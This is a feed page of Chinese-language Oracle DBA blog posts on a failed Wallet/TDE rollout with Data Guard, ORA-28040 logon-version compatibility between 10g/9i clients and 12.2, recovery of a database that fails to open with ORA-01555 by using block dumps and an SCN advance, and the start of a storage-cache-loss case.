Quantcast
Channel: 95cc9c08c466d7576a985d536da1f40e
Viewing all 49 articles
Browse latest View live

Oracle Wallet 实施的一次悲惨经历

$
0
0

本站文章除注明转载外,均为本站原创: 转载自love wife & love life —Roger 的Oracle技术博客

本文链接地址: Oracle Wallet 实施的一次悲惨经历

前几天一个运营商客户被某O记忽悠之后,准备上一个安全解决方案,其目的是为了

能够对rman备份文件进行加密处理。我们这里姑且不论rman 备份就可以进行加密。只讨论这里的wallet 实施方案。

当时的实施步骤如下(主库为4节点rac,dg备库是2节点rac):

1、停主库业务、停adg同步

2、主库创建wallet目录mkdir /u01/app/oracle/admin/crmdbn/wallet

3、配置主库grid用户的sqlnet.ora,添加如下内容:

ENCRYPTION_WALLET_LOCATION = (SOURCE =
                                  (METHOD = FILE)
                                  (METHOD_DATA =
                                  (DIRECTORY =
                                   /u01/app/oracle/admin/crmdbn/wallet)))

4、在主库设置安全码

alter system set encryption key identified by “Oracle_xxx”;

5、主库打开wallet

alter system set encryption wallet open identified by “Oracle_xxx”;

这里只在一个主库rac节点1执行了,其他几个节点并未执行;

6、在adg备库创建wallet

mkstore -wrl /u01/app/oracle/admin/crmdbns/wallet -create

7、在dg备库打开wallet

 

然后启动dg的时候,很显然会报错。实际上上述的操作步骤是有问题的;有如下几点操作不对:

1)如果主库是rac,wallet必须存放在共享磁盘上;否则在其中一个节点创建之前,就先将其他节点停掉,避免产生归档日志。

2)当主库rac其中一个节点创建好wallet之后,将wallet目录中的key scp拷贝到rac的其他节点对应wallet目录中。

当然,如果wallet存在共享磁盘上,也不需要这么麻烦了。

3)在dataguard备库上创建wallet根本就不需要操作,只需要创建对应的wallet目录(如果备库是rac,一样建议是共享目录来存放),然后将主库wallet master key 通过scp拷贝到备库wallet目录中(建议提前配置好备库监听的sqlnet.ora文件)。

4)备库启动wallet即可;另外对于wallet的创建,建议使用auto login 方式(直接创建wallet目录,并通过alter database 命令open wallet的方式,这并非自动打开wallet模式)。建议通过如下命令进行修改,将其修改为auto login方式(当然也可以使用owm图形界面来进行管理)

orapki wallet create -wallet /u01/app/oracle/admin/crmdbns/wallet -auto_login

 

由于最开始的方案有问题,导致后面adg无法同步,启动mrp进程就报错,如下是错误:

Thu Jun 29 00:17:28 2017
Completed:  alter database recover managed standby database using current logfile disconnect from session
Media Recovery Log +ARCH/crmdbns/archivelog/2017_06_28/thread_3_seq_31785.364.947825515
Media Recovery Log +ARCH/crmdbns/archivelog/2017_06_28/thread_4_seq_29565.985.947825489
Force closing the keystore for standby rekey.
Please re-copy the keystore from primary before re-open as needed.
Apply redo for database master key re-key failed: new master key does not exist in the keystore
Errors with log +ARCH/crmdbns/archivelog/2017_06_28/thread_4_seq_29565.985.947825489
MRP0: Background Media Recovery terminated with error 28374
Errors in file /u01/app/oracle/diag/rdbms/crmdbns/crmdbn1/trace/crmdbn1_pr00_107831.trc:
ORA-28374: typed master key not found in wallet

我们可以看出,Oracle 在启动mrp进程时提示在备库的wallet中找不到对应的master key。在开始我并不明白,及时最开始mkstore 的操作是多余的,那么将主库的key文件scp到备库之后,不就完全一样了吗?为什么会提示找不到key呢?

而且我通过如下的方式对比了主库和备库的wallet内容信息,发现是匹配的,如下:

—node4
[oracle@crmdbn4 wallet]$ mkstore -wrl . -list
Oracle Secret Store Tool : Version 11.2.0.4.0 - Production
Copyright (c) 2004, 2013, Oracle and/or its affiliates. All rights reserved.

Enter wallet password:             

Oracle Secret Store entries:
ORACLE.SECURITY.DB.ENCRYPTION.Aa2psY/5bk9Sv4JEVRn29G0AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ORACLE.SECURITY.DB.ENCRYPTION.MASTERKEY
ORACLE.SECURITY.TS.ENCRYPTION.BS4mhLbiOqGrY3MfAQrWCsUCAwAAAAAAAAAAAAAAAAAAAAAAAAAA
[oracle@crmdbn4 wallet]$ 

—adg1
[oracle@crm2dbn1 wallet]$ mkstore -wrl . -list
Oracle Secret Store Tool : Version 11.2.0.4.0 - Production
Copyright (c) 2004, 2013, Oracle and/or its affiliates. All rights reserved.

Enter wallet password:   Oracle_123

Oracle Secret Store entries:
ORACLE.SECURITY.DB.ENCRYPTION.Aa2psY/5bk9Sv4JEVRn29G0AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ORACLE.SECURITY.DB.ENCRYPTION.MASTERKEY
ORACLE.SECURITY.TS.ENCRYPTION.BS4mhLbiOqGrY3MfAQrWCsUCAwAAAAAAAAAAAAAAAAAAAAAAAAAA
[oracle@crm2dbn1 wallet]$

由此可见,上述这个报错应该另有隐情。我们需要进一步研究分析Oracle wallet打开之后,会做哪些事情。

www.killdb.com@startup
ORACLE instance started.

Total System Global Area  271400960 bytes
Fixed Size                  2252424 bytes
Variable Size             167772536 bytes
Database Buffers           96468992 bytes
Redo Buffers                4907008 bytes
Database mounted.
Database opened.
www.killdb.com@ alter system set encryption key identified by "Oracle_123";

System altered.
www.killdb.com@select * from v$encryption_wallet;

WRL_TYPE
--------------------
WRL_PARAMETER
------------------------------------------------------------------
STATUS
------------------
file
/u01/app/oracle/product/11.2.0/dbhome_1/network/admin/wallet
OPEN

www.killdb.com@column name format a40
www.killdb.com@column masterkeyid_base64 format a60
www.killdb.com@select  name,utl_raw.cast_to_varchar2( utl_encode.base64_encode('01'||substr(mkeyid,1,4))) || utl_raw.cast_to_varchar2( utl_encode.base64_encode(substr(mkeyid,5,length(mkeyid)))) masterkeyid_base64  FROM (select t.name, RAWTOHEX(x.mkid) mkeyid from v$tablespace t, x$kcbtek x where t.ts#=x.ts#);

NAME                MASTERKEYID_BASE64
------------------- ------------------------------------
SYSTEM              AXzox4IR/k+yv2liagPwxyA=
SYSAUX              AQAAAAAAAAAAAAAAAAAAAAA=
UNDOTBS1            AQAAAAAAAAAAAAAAAAAAAAA=
USERS               AQAAAAAAAAAAAAAAAAAAAAA=
TEMP                AQAAAAAAAAAAAAAAAAAAAAA=

www.killdb.com@select  utl_raw.cast_to_varchar2( utl_encode.base64_encode('01'||substr(mkeyid,1,4))) || utl_raw.cast_to_varchar2( utl_encode.base64_encode(substr(mkeyid,5,length(mkeyid)))) masterkeyid_base64  FROM (select RAWTOHEX(mkid) mkeyid from x$kcbdbk);

MASTERKEYID_BASE64
------------------------------------------------------------
AXzox4IR/k+yv2liagPwxyA=

[oracle@killdb trace]$ orapki wallet display -wallet  /u01/app/oracle/product/11.2.0/dbhome_1/network/admin/wallet
Oracle PKI Tool : Version 11.2.0.4.0 - Production
Copyright (c) 2004, 2013, Oracle and/or its affiliates. All rights reserved.

Enter wallet password:   Oracle_   

Requested Certificates:
Subject:        CN=oracle
User Certificates:
Oracle Secret Store entries:
ORACLE.SECURITY.DB.ENCRYPTION.AXzox4IR/k+yv2liagPwxyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ORACLE.SECURITY.DB.ENCRYPTION.MASTERKEY
ORACLE.SECURITY.TS.ENCRYPTION.BSf3bB90ikAgSJxHC0YxduACAwAAAAAAAAAAAAAAAAAAAAAAAAAA
Trusted Certificates:

我们不难看出,当wallet打开之后,Oracle其实会产生2种key,一种是db的key一种是talespace 级别的key。如下是关于2个x$试图的说明:

x$kcbtek – for tablespaces
x$kcbdbk – the controlfile holds a copy of the master key ID as well.

这2个试图的信息其实都来源于控制文件,这一点我通过10046 trace跟踪可以进行确认,如下是跟踪的结果:

select  name,utl_raw.cast_to_varchar2( utl_encode.base64_encode('01'||substr(mkeyid,1,4))) || utl_raw.cast_to_varchar2( utl_encode.base64_encode(substr(mkeyid,5,length(mkeyid)))) masterkeyid_base64  FROM (select t.name, RAWTOHEX(x.mkid) mkeyid from v$tablespace t, x$kcbtek x where t.ts#=x.ts#)
END OF STMT
PARSE #140449938441232:c=7000,e=9686,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=1,plh=1547126948,tim=1476007495117573
EXEC #140449938441232:c=1000,e=33,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=1,plh=1547126948,tim=1476007495117682
WAIT #140449938441232: nam='SQL*Net message to client' ela= 2 driver id=1650815232 #bytes=1 p3=0 obj#=555 tim=1476007495117700
WAIT #140449938441232: nam='control file sequential read' ela= 8 file#=0 block#=1 blocks=1 obj#=555 tim=1476007495117783
WAIT #140449938441232: nam='control file sequential read' ela= 4 file#=0 block#=16 blocks=1 obj#=555 tim=1476007495117799
WAIT #140449938441232: nam='control file sequential read' ela= 2 file#=0 block#=18 blocks=1 obj#=555 tim=1476007495117806
WAIT #140449938441232: nam='control file sequential read' ela= 2 file#=0 block#=180 blocks=1 obj#=555 tim=1476007495117814
FETCH #140449938441232:c=0,e=898,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=1,plh=1547126948,tim=1476007495118611
WAIT #140449938441232: nam='SQL*Net message from client' ela= 203 driver id=1650815232 #bytes=1 p3=0 obj#=555 tim=1476007495118877
WAIT #140449938441232: nam='SQL*Net message to client' ela= 1 driver id=1650815232 #bytes=1 p3=0 obj#=555 tim=1476007495118996
FETCH #140449938441232:c=0,e=141,p=0,cr=0,cu=0,mis=0,r=4,dep=0,og=1,plh=1547126948,tim=1476007495119067
STAT #140449938441232 id=1 cnt=5 pid=0 pos=1 obj=0 op='HASH JOIN  (cr=0 pr=0 pw=0 time=672 us cost=0 size=66 card=1)'
STAT #140449938441232 id=2 cnt=5 pid=1 pos=1 obj=0 op='FIXED TABLE FULL X$KCCTS (cr=0 pr=0 pw=0 time=78 us cost=0 size=43 card=1)'
STAT #140449938441232 id=3 cnt=5 pid=1 pos=2 obj=0 op='FIXED TABLE FULL X$KCBTEK (cr=0 pr=0 pw=0 time=6 us cost=0 size=2300 card=100)'
WAIT #140449938441232: nam='SQL*Net message from client' ela= 358 driver id=1650815232 #bytes=1 p3=0 obj#=555 tim=1476007495119541

换句话讲,Oracle这里判断key是否匹配只是通过controlfile来判断的。

在其中进行恢复的过程中,进行了多次增量,我们可以基于scn进行全库级别或者文件级别的增量,如下:

run
{
allocate channel d1 type disk;
allocate channel d2 type disk;
allocate channel d3 type disk;
allocate channel d4 type disk;
backup datafile 471,472,473,474,475,476,477,478,479  format '/backup/crmdb_incr_%U.bak';
release channel d1;
release channel d2;
release channel d3;
release channel d4;
}

最后我们通过替换了system文件和重建standby controlfile来完美解决这个问题,如下:

RFS[36]: Selected log 23 for thread 2 sequence 44329 dbid 1035112739 branch 938199971
Fri Jun 30 23:34:36 2017
Archived Log entry 4487 added for thread 2 sequence 44328 ID 0x3ddadfb3 dest 1:
Fri Jun 30 23:35:14 2017
Media Recovery Log +ARCH/crmdbns/archivelog/2017_06_30/thread_2_seq_43927.1864.948021793
Media Recovery Log +ARCH/crmdbns/archivelog/2017_06_30/thread_1_seq_31887.1227.948021775
Fri Jun 30 23:36:42 2017
Media Recovery Log +ARCH/crmdbns/archivelog/2017_06_30/thread_2_seq_43928.1957.948021797
Media Recovery Log +ARCH/crmdbns/archivelog/2017_06_30/thread_4_seq_29958.1806.948021775
Media Recovery Log +ARCH/crmdbns/archivelog/2017_06_30/thread_3_seq_32174.1473.948021775
Fri Jun 30 23:37:40 2017
RFS[32]: Selected log 9 for thread 1 sequence 32254 dbid 1035112739 branch 938199971

Related posts:

  1. oracle TDE学习系列 (1) — wallet 使用管理
  2. oracle TDE学习系列 (2) — 探秘列、表空间加密
  3. oracle TDE学习系列 (3) — 如何备份?

Oracle 10g Conenct to 12.2 with ora-28040

$
0
0

本站文章除注明转载外,均为本站原创: 转载自love wife & love life —Roger 的Oracle技术博客

本文链接地址: Oracle 10g Conenct to 12.2 with ora-28040

某电信客户使用了我们zdata分布式存储来承载ODS/EDW/REPORT等系统。当然对于数仓环境来讲,zdata分布式架构是极其适合的。这里先不打广告了。

我们首先来看下客户的问题,客户想进行安全加固修改12.2 rac的listener端口,处理好之后测试发现ODS老环境(oracle 10.2.0.5)连接12.2 rac报错ora-28040.

错误大致如下:

[ora10g@killdb admin]$ sqlplus roger/roger@killdb

SQL*Plus: Release 10.2.0.5.0 - Production on Fri Jul 7 20:28:48 2017

Copyright (c) 1982, 2010, Oracle.  All Rights Reserved.

ERROR:
ORA-28040: No matching authentication protocol

我们首先来看下这个的解释。

[ora10g@killdb admin]$ oerr ora 28040
28040, 0000, "No matching authentication protocol"
// *Cause:  No acceptible authentication protocol for both client and server
// *Action: Administrator should set SQLNET_ALLOWED_LOGON_VERSION parameter
//          on both client and servers to values that matches the minimum
//          version supported in the system.

解释非常的清楚,客户端和数据库server端在建立认证时出现了异常,oracle建议设置sqlnet_allowed_logon_version参数。其实这里的解释稍微有些错误,根本没有这个参数.其实应该是SQLNET.ALLOWED_LOGON_VERSION。

如果你的数据库是oracle 12.1版本,而客户端版本较低,比如是oracle 10g那么则需要在数据库服务端和客户端的sqlnet.ora中加入SQLNET.ALLOWED_LOGON_VERSION参数。

在oracle 12.1版本中该参数如果没有设置,oracle 默认会认为是11. 而在Oracle 12.2版本中,该参数已经被废弃,进而通过另外如下2个参数来进行代替:

SQLNET.ALLOWED_LOGON_VERSION_SERVER=n
SQLNET.ALLOWED_LOGON_VERSION_CLIENT=n

这2个参数如果在未进行设置的情况下,Oracle 12.2 会默认认为是12. 这样会导致较低版本的客户端无法连接oracle 12.2的数据库环境。

由于客户这里是12.2 rac,客户端是10.2.0.5。这里我进行简单的测试:

1、首先修改数据库server端(12.2)的sqlnet.ora

SQLNET.ALLOWED_LOGON_VERSION_SERVER=10
SQLNET.ALLOWED_LOGON_VERSION_CLIENT=10

2、建议reload或者重启listener(不需要重启数据库)

3、客户端10g环境修改sqlnet.ora

#SQLNET.WALLET_OVERRIDE=TRUE
NAMES.DIRECTORY_PATH=(TNSNAMES,EZCONNECT)
#WALLET_LOCATION=(SOURCE=(METHOD=FILE)(METHOD_DATA=(DIRECTORY=/home/ora10g/product/10.2/network/admin/wallet)))
sqlnet.expire_time = 1
SQLNET.ALLOWED_LOGON_VERSION_SERVER=10
SQLNET.ALLOWED_LOGON_VERSION_CLIENT=10

4、进行ezconnect测试连接

[ora10g@killdb admin]$ sqlplus test/test@172.16.29.131:1521/roger

SQL*Plus: Release 10.2.0.5.0 - Production on Fri Jul 7 21:02:10 2017

Copyright (c) 1982, 2010, Oracle.  All Rights Reserved.

Connected to:
Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production

www.killdb.com@select * from v$version;

BANNER                                                                               CON_ID
-------------------------------------------------------------------------------- ----------
Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production              0
PL/SQL Release 12.2.0.1.0 - Production                                                    0
CORE    12.2.0.1.0      Production                                                                0
TNS for Linux: Version 12.2.0.1.0 - Production                                            0
NLSRTL Version 12.2.0.1.0 - Production                                                    0

5、修改tnsnames.ora(客户端),并进行tnsnames测试

pdbroger =
 (DESCRIPTION =
   (ADDRESS = (PROTOCOL = TCP)(HOST = 172.16.29.131)(PORT = 1521))
   (CONNECT_DATA =
     (SERVER = DEDICATED)
     (SERVICE_NAME = roger)
    )
  )

6、通过tns进行访问连接

[ora10g@killdb admin]$ sqlplus test/test@pdbroger

SQL*Plus: Release 10.2.0.5.0 - Production on Fri Jul 7 20:49:04 2017

Copyright (c) 1982, 2010, Oracle.  All Rights Reserved.

Connected to:
Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production

www.killdb.com@select * from v$version;

BANNER                                                                               CON_ID
-------------------------------------------------------------------------------- ----------
Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production              0
PL/SQL Release 12.2.0.1.0 - Production                                                    0
CORE    12.2.0.1.0      Production                                                                0
TNS for Linux: Version 12.2.0.1.0 - Production                                            0
NLSRTL Version 12.2.0.1.0 - Production                                                    0

www.killdb.com@

我们可以看出,对于oracle 10g的环境来说,访问12.2 环境没有任何问题。

通过查询Oracle mos文档Client / Server Interoperability Support Matrix for Different Oracle Versions (文档 ID 207303.1)发现该文档中提供了server/client支持矩阵。其中明确表明10gR2 客户端不支持访问oracle 12.2环境。如下:

 

 

 

 

 

但是我们测试发现确实支持的。但是文档确说不支持。(尽管如此,无法确认是否有其他问题,建议还是文档为主).

由于好奇心做怪,我就想知道Oracle 9.2版本是否支持访问12.2 呢?

同样的测试方法,将12.2环境中的参数改成如下:

SQLNET.ALLOWED_LOGON_VERSION_SERVER=9
SQLNET.ALLOWED_LOGON_VERSION_CLIENT=9

同时在oracle 9.2环境中修改为:

NAMES.DIRECTORY_PATH=(TNSNAMES,EZCONNECT)
SQLNET.ALLOWED_LOGON_VERSION_SERVER=9
SQLNET.ALLOWED_LOGON_VERSION_CLIENT=9

经过测试发现无论是zcconnect模式还是tns模式,都无法访问Oracle 12.2,如下:

[ora9@killdb admin]$ sqlplus test/test@pdbroger          

SQL*Plus: Release 9.2.0.8.0 - Production on Fri Jul 7 21:31:28 2017

Copyright (c) 1982, 2002, Oracle Corporation.  All rights reserved.

Segmentation fault

我们不难看出确实Oracle 12.2 确实不再支持9i了,但是仍然支持10g。这里我没有修改10g环境的参数,可见server端的参数是向下兼容的。

那么如果是你的应用是jdbc呢? oracle 10g或者9i的jdbc 支持访问Oracle 12c吗 ?

很明显10g仍然支持(12.1/12.2),不过9i 不在支持了(无论是12.1还是12.2).

可参考如下2篇文档:

DBC Version 10.2.0.4 Produces ORA-28040 Connecting To Oracle 12c (12.1.0.2) Database (文档 ID 2023160.1)

ORA-28040 Using JDBC 9i for Connection to 12c Database (文档 ID 2111118.1)

如下你要修改jdbc的配置,那么可参考如下的配置:

OracleDataSource ods = new OracleDataSource();
ods.setURL(jdbcURL);
ods.setUser("scott");
ods.setPassword("tiger");
Properties props = new Properties();
props.put("oracle.jdbc.allowedLogonVersion", 10);
ods.setConnectionProperties(props);
Connection con = ods.getConnection();

不过,我这里是Oracle 12.2 单机环境,对于Oracle 12.2 Rac,还需要进一步验证。无论如何,还是以Oracle mos文档为主更好一些,避免出现一些不必要和未知的问题。

Related posts:

  1. oracle TDE学习系列 (1) — wallet 使用管理
  2. Oracle 12c学习系列之—identity column

数据库open遭遇ora-01555错误

$
0
0

本站文章除注明转载外,均为本站原创: 转载自love wife & love life —Roger 的Oracle技术博客

本文链接地址: 数据库open遭遇ora-01555错误

前几天我们的一位准客户的其中一套较为重要的数据库出现了故障。我们这里先姑且不去分析原因,来将数据库打开提供业务恢复再说。首先我们来看下一线工程师现场发回的报道:

ORA-01555 caused by SQL statement below (SQL ID: 4krwuz0ctqxdt, SCN: 0x0e0a.938dbd1d):

select ctime, mtime, stime from obj$ where obj# = :1

Errors in file /data/oracle/app/diag/rdbms/orcl/orcl/trace/orcl_ora_42419.trc:

ORA-00704: bootstrap process failure

ORA-00704: bootstrap process failure

ORA-00604: error occurred at recursive SQL level 1

ORA-01555: snapshot too old: rollback segment number 37 with name “_SYSSMU37_383198352$” too small

Errors in file /data/oracle/app/diag/rdbms/orcl/orcl/trace/orcl_ora_42419.trc:

ORA-00704: bootstrap process failure

ORA-00704: bootstrap process failure

ORA-00604: error occurred at recursive SQL level 1

ORA-01555: snapshot too old: rollback segment number 37 with name “_SYSSMU37_383198352$” too small

Error 704 happened during db open, shutting down database

USER (ospid: 42419): terminating the instance due to error 704

Instance terminated by USER, pid = 42419

ORA-1092 signalled during: alter database open resetlogs…

opiodr aborting process unknown ospid (42419) as a result of ORA-1092

Mon Jul 03 10:47:32 2017

ORA-1092 : opitsk aborting process

从上述的错误来看。数据库在open时,其中一个递归SQL语句执行失败,该递归SQL执行失败的原因是出现了ora-01555错误,即大家所熟知的快照过旧;同时日志中也明确提到了需要访问的回滚段编号,即第37号回滚段。

根据我们一般的处理思路,需要进行10046 trace跟踪,确认这里的递归SQL是不是访问了一些存在活动事务的Block

PARSING IN CURSOR #5 len=52 dep=1 uid=0 oct=3 lid=0 tim=1499247077576035 hv=429618617 ad=’37bf8fe40′ sqlid=’4krwuz0ctqxdt’

select ctime, mtime, stime from obj$ where obj# = :1

END OF STMT

PARSE #5:c=0,e=346,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,plh=0,tim=1499247077576034

BINDS #5:

Bind#0

  oacdty=02 mxl=22(22) mxlc=00 mal=00 scl=00 pre=00

  oacflg=08 fl2=0001 frm=00 csi=00 siz=24 off=0

  kxsbbbfp=7ff28b33fff8  bln=22  avl=02  flg=05

  value=20

EXEC #5:c=999,e=724,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,plh=1218588913,tim=1499247077576860

WAIT #5: nam=’db file sequential read’ ela= 31 file#=1 block#=337 blocks=1 obj#=36 tim=1499247077577083

=====================

PARSING IN CURSOR #6 len=142 dep=2 uid=0 oct=3 lid=0 tim=1499247077577673 hv=361892850 ad=’377f8c780′ sqlid=’7bd391hat42zk’

select /*+ rule */ name,file#,block#,status$,user#,undosqn,xactsqn,scnbas,scnwrp,DECODE(inst#,0,NULL,inst#),ts#,spare1 from undo$ where us#=:1

END OF STMT

PARSE #6:c=1000,e=472,p=0,cr=0,cu=0,mis=1,r=0,dep=2,og=3,plh=0,tim=1499247077577672

BINDS #6:

Bind#0

  oacdty=02 mxl=22(22) mxlc=00 mal=00 scl=00 pre=00

  oacflg=08 fl2=0001 frm=00 csi=00 siz=24 off=0

  kxsbbbfp=7ff28b33e398  bln=22  avl=02  flg=05

  value=37

EXEC #6:c=0,e=705,p=0,cr=0,cu=0,mis=1,r=0,dep=2,og=3,plh=906473769,tim=1499247077578470

WAIT #6: nam=’db file sequential read’ ela= 19 file#=1 block#=321 blocks=1 obj#=34 tim=1499247077578588

WAIT #6: nam=’db file sequential read’ ela= 18 file#=1 block#=225 blocks=1 obj#=15 tim=1499247077578756

FETCH #6:c=1000,e=313,p=2,cr=2,cu=0,mis=0,r=1,dep=2,og=3,plh=906473769,tim=1499247077578814

STAT #6 id=1 cnt=1 pid=0 pos=1 obj=15 op=’TABLE ACCESS BY INDEX ROWID UNDO$ (cr=2 pr=2 pw=0 time=0 us)’

STAT #6 id=2 cnt=1 pid=1 pos=1 obj=34 op=’INDEX UNIQUE SCAN I_UNDO1 (cr=1 pr=1 pw=0 time=0 us)’

CLOSE #6:c=0,e=9,dep=2,type=0,tim=1499247077578910

WAIT #5: nam=’db file sequential read’ ela= 39 file#=157 block#=164013 blocks=1 obj#=0 tim=1499247077579013

FETCH #5:c=2000,e=2852,p=4,cr=4,cu=0,mis=0,r=0,dep=1,og=4,plh=1218588913,tim=1499247077579747

STAT #5 id=1 cnt=0 pid=0 pos=1 obj=18 op=’TABLE ACCESS BY INDEX ROWID OBJ$ (cr=0 pr=0 pw=0 time=0 us)’

STAT #5 id=2 cnt=0 pid=1 pos=1 obj=36 op=’INDEX RANGE SCAN I_OBJ1 (cr=0 pr=0 pw=0 time=0 us)’

ORA-00704: bootstrap process failure

ORA-00704: bootstrap process failure

ORA-00604: error occurred at recursive SQL level 1

ORA-01555: snapshot too old: rollback segment number 37 with name “_SYSSMU37_383198352$” too small

ORA-00704: bootstrap process failure

ORA-00704: bootstrap process failure

ORA-00604: error occurred at recursive SQL level 1

ORA-01555: snapshot too old: rollback segment number 37 with name “_SYSSMU37_383198352$” too small

10046 跟踪来看,报错的SQL 语句访问了2block;分别是file 1 block 337file 157 block 164013. 很明显第一个数据块应该是数据字典的block,而157号文件的这个block应该是undo block,因为这里的obj#=0.

接着我们来看看file 1 block 337 blockdump情况:

Dump all the blocks in range:

buffer tsn: 0 rdba: 0x00400151 (1/337)

scn: 0x0e15.00a27c49 seq: 0x01 flg: 0x04 tail: 0x7c490601

frmt: 0x02 chkval: 0xfa69 type: 0x06=trans data

Hex dump of block: st=0, typ_found=1

……

Block header dump:  0x00400151

Object id on Block? Y

seg/obj: 0x24  csc: 0xe15a27c49  itc: 1  flg: –  typ: 2 – INDEX

     fsl: 0  fnx: 0x0 ver: 0x01

Itl           Xid                  Uba         Flag  Lck        Scn/Fsc

0x01   0x0025.020.0002c57b  0x274280ad.1eae.02  C—    0  scn 0x0e15.00a26a0c

Branch block dump

=================

header address 139957081160260=0x7f4a4c1b3a44

kdxcolev 1

KDXCOLEV Flags = – – –

kdxcolok 0

kdxcoopc 0x80: opcode=0: iot flags=— is converted=Y

kdxconco 3

kdxcosdc 1

kdxconro 235

kdxcofbo 498=0x1f2

kdxcofeo 5520=0x1590

kdxcoavs 5239

kdxbrlmc 4194642=0x400152

kdxbrsno 234

kdxbrbksz 8056

kdxbr2urrc 0

row#0[8047] dba: 4194643=0x400153

block dump来看,这是一个Index Block。从ITL的信息来看,这个Index Block没有任何活动事务。同时,根据前面的10046 trace来看,报错的递归SQL访问的obj#=20,换成为16进制为c1 15,然而这个Index block 中并没有这个键值;同时我们dump了下一个index block 找到了对应的键值。

Object id on Block? Y
seg/obj: 0x24 csc: 0x00.81e7 itc: 2 flg: – typ: 2 – INDEX
fsl: 0 fnx: 0x0 ver: 0x01

Itl Xid Uba Flag Lck Scn/Fsc
0x01 0x0007.000.00000005 0x00c0017f.0002.01 CBU- 0 scn 0x0000.00006faf
0x02 0x000a.005.00001049 0x00c0fdc3.00e8.3c –U- 5 fsc 0x005f.000ba658
Leaf block dump
===============
header address 139973835614812=0x7f4e32bfea5c
kdxcolev 0
KDXCOLEV Flags = – – –
kdxcolok 0
kdxcoopc 0x80: opcode=0: iot flags=— is converted=Y
kdxconco 3
kdxcosdc 1
kdxconro 426
kdxcofbo 888=0x378
kdxcofeo 889=0x379
kdxcoavs 1
kdxlespl 0
kdxlende 5
kdxlenxt 4194643=0x400153
kdxleprv 0=0x0
kdxledsz 6
kdxlebksz 8032
……
row#19[1192] flag: ——, lock: 0, len=16, data:(6): 00 40 00 f1 00 00
col 0; len 2; (2): c1 15
col 1; len 1; (1): 80
col 2; len 2; (2): c1 03

我们可以看出,这个index是一个复合索引,其中col 0的c1 15就是表示20. 该行数据对应的数据块地址是004000f100,转换为10进制是:4194545。

我们回到前面的这个问题,为什么递归SQL访问file block 337 然后接着需要去访问undo block呢? 而且从10046 trace来看fetch r=0,表明并没有获取到数据。说明问题仍然出在这个block的访问上。

这里我们进一步该block的dump来看,发现其scn如下:

SQL> select to_number(‘e1500a26a0c’,’xxxxxxxxxxxxxxxxx’) CTM from dual;

 

CTM

———————

15483367746060

 

当通过dump控制文件的scn来看,明显要小的多,如下:

Redo Version: compatible=0xb200000
#Data files = 85, #Online files = 85
Database checkpoint: Thread=1 scn: 0x0e0a.9399087a
Threads: #Enabled=1, #Open=1, Head=1, Tail=1

我们将上述的database checkpoint进行转换:

www.killdb.com@select to_number(‘e0a9399087a’,’xxxxxxxxxxxxxxxxxxxxx’) db_scn from dual;

DB_SCN
—————————
15438588741754

 

很明显数据库的checkpoint 明显要比这个Index Block的scn小的多,也就势必导致数据库在启动的时候需要去访问Undo Block。所以这里经过单次的修改undo$  将对应的37号回滚段标记为offline都无法解决这个问题。这里我们首先尝试清除了file 1 block 377的ITL信息之后,启动数据库发现错误发生了改变,如下:

Errors in file /data/oracle/app/diag/rdbms/orcl/orcl/trace/orcl_ora_46250.trc (incident=90909):

ORA-00600: internal error code, arguments: [2662], [3605], [10648650], [3605], [48684112], [4194545], [], [], [], [], [], []

Incident details in: /data/oracle/app/diag/rdbms/orcl/orcl/incident/incdir_90909/orcl_ora_46250_i90909.trc

Errors in file /data/oracle/app/diag/rdbms/orcl/orcl/trace/orcl_ora_46250.trc:

ORA-00704: bootstrap process failure

ORA-00704: bootstrap process failure

ORA-00600: internal error code, arguments: [2662], [3605], [10648650], [3605], [48684112], [4194545], [], [], [], [], [], []

Errors in file /data/oracle/app/diag/rdbms/orcl/orcl/trace/orcl_ora_46250.trc:

ORA-00704: bootstrap process failure

ORA-00704: bootstrap process failure

ORA-00600: internal error code, arguments: [2662], [3605], [10648650], [3605], [48684112], [4194545], [], [], [], [], [], []

Error 704 happened during db open, shutting down database

这个错误就非常明白了,就是block scn的问题。而报错的数据块地址为:4194545,这就是我们前面提到的4000f1这个数块,即file 1 block 241 这个数据块。

看起来这个错误本质上来说,可以直接推进scn解决问题。这里我们通过设置*._minimum_giga_scn参数来解决问题。通过设置了该参数之后,成功打开了数据库。

虽然数据库alert log后续还有一些ora-00600 [4097],ora-08102等错误,但是处理都相对简单了。通过重建undo、重建Index即可解决。

存储Cache 丢失导致数据库无法open的案例

$
0
0

本站文章除注明转载外,均为本站原创: 转载自love wife & love life —Roger 的Oracle技术博客

本文链接地址: 存储Cache 丢失导致数据库无法open的案例

最近某客户的一套核心数据库由于存储问题导致清掉Cache之后无法启动。首先我们来看看数据库在启动的时候报什么错误:

Thu Sep 21 19:35:55 2017
WARNING: Write Failed. group:1 disk:3 AU:53436 offset:95744 size:1024
Errors in file /u01/app/oracle/diag/rdbms/ods/xxx2/trace/xxx2_lgwr_14636.trc:
ORA-15080: synchronous I/O operation to a disk failed
WARNING: failed to write mirror side 1 of virtual extent 43 logical extent 0 of file 265 in group 1 on disk 3 allocation unit 53436
Errors in file /u01/app/oracle/diag/rdbms/xxx/xxx2/trace/xxx2_lgwr_14636.trc:
ORA-00345: redo log write error block 88251 count 2
ORA-00312: online log 3 thread 2: '+DATA/xxx/onlinelog/group_3.265.816035881'
ORA-15081: failed to submit an I/O operation to a disk
ORA-15081: failed to submit an I/O operation to a disk
Errors in file /u01/app/oracle/diag/rdbms/xxx/xxx2/trace/xxx2_lgwr_14636.trc:
ORA-00340: IO error processing online log 3 of thread 2
ORA-00345: redo log write error block 88251 count 2
ORA-00312: online log 3 thread 2: '+DATA/xxx/onlinelog/group_3.265.816035881'
ORA-15081: failed to submit an I/O operation to a disk
ORA-15081: failed to submit an I/O operation to a disk
LGWR (ospid: 14636): terminating the instance due to error 340

 

